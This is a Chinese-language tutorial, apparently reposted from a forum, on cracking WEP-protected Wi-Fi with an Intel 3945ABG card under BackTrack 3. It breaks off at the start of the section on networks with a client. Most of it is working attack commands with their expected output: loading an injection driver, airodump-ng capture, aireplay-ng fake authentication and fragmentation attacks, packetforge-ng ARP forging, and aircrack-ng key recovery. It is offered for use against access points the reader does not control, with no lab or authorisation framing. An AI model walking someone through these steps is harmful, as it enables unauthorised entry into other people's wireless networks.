Intel3945ABG在BT3下破解有(无)客户端wep简明教程

1、Intel3945ABG在BT3下破解有/无客户端wep教程 原创作品，转载请注明出处。QQQQQ123456在经过无数次的努力，终于实现3945网卡的WEP破解。无客户端的破解 1 装备： DELL 1420笔记本（内置网卡）、BT3的usb系统 2启动BT3后,加载驱动。3945网卡加载驱动是破解的关键。打开一个命令窗口 输入 modprobe r iwl3945 输入 modprobe ipwraw3.查找目标：用Airoscript的扫描功能连续三次都选择1，（没有图，简单的英文）（不能在命令窗口输入，在程序里面找）。发现5个，有4个加密，data都是0，开放的那个AP有一个客户端。

2、我们选择第一个作为目标，channel为11。输入 airmon-ng start wifi0 11 激活网卡的Monitor模式 说明：11是要监听的频道，这个值要与你破解对象的值一致.4.在正确执行1、2步后，输入抓包命令来抓包。 输入命令 airodump-ng -ivs -w 12345 -c 11 wifi0 ，其中，12345是获取的ivs的保存文件的名字，11是channel值，你根据实际修改。开始监听channel 11了。5.上面窗口不关闭，另开一个窗口，输入命令，用自己的网卡连接要破解的ap 输入 aireplay-ng -1 0 -e ap的essid -a ap的mac

3、 -h 自己网卡的mac wifi0 这时，系统将回显Sending Authentication Request Authentication successful Sending Association Request Association successful :-) 这时，airodump-ng窗口的变化这时候等Data有了1万5就可新开个命令窗口，用aircrack-ng来破解了。破解结果:_大功告成。 另外，不知为什么，经典教程中还应有如下的动作才能data，我没有做也能获得data，真是奇怪，还望高手指点。现将经典教程中余下步骤留下以供参考和测试。（感谢原作者，版权归原作者）

4、6输入aireplay-ng -5 -b ap的mac -h 自己网卡的mac rausb0 来获得xor文件如果一切顺利，系统将回显 Use this packet ? 输入y 回车，将得到一个至关重要的xor文件。（我自己试验在输入y后，系统开始发送数据，airodump-ng窗口一下就有了反应，Data数立即增长，我就没有必要进行下面的步骤了，等Data有1万5就用aircrack-ng破出了密码。） 再输入ls 查看当前目录，你将看到刚才生成的一个后缀名为xor 的文件。 7输入packetforge-ng -0 -a ap的mac -h 自己网卡的mac -k 255.255.255

5、.255 -l 255.255.255.255 -y fragment -.xor -w mrarp 其中，l中的l是L的小写，别和1混淆，而其中的-.xor 是你刚才生成的文件名。 系统回显：Wrote packet to: mrarp 8输入aireplay-ng -2 r mrarp -x 1024 wifi0 ，发包攻击.其中，-x 1024 是限定发包速度，避免网卡死机，我选择的是1024。 输入y 回车 攻击开始 这时，前面的抓包窗口上的data将迅速增加。 到数据增加到3万以上时，另开窗口，启动 aircrack-ng -n 64 -b ap的mac name-01.ivs 其中 64 是64位密码，如果是128位，换成128即可。 有客户端的破解前面的步骤一样：输入 modprobe r iwl3945输入 modprobe ipwraw输入airmon-ng start wifi0 11 现在，只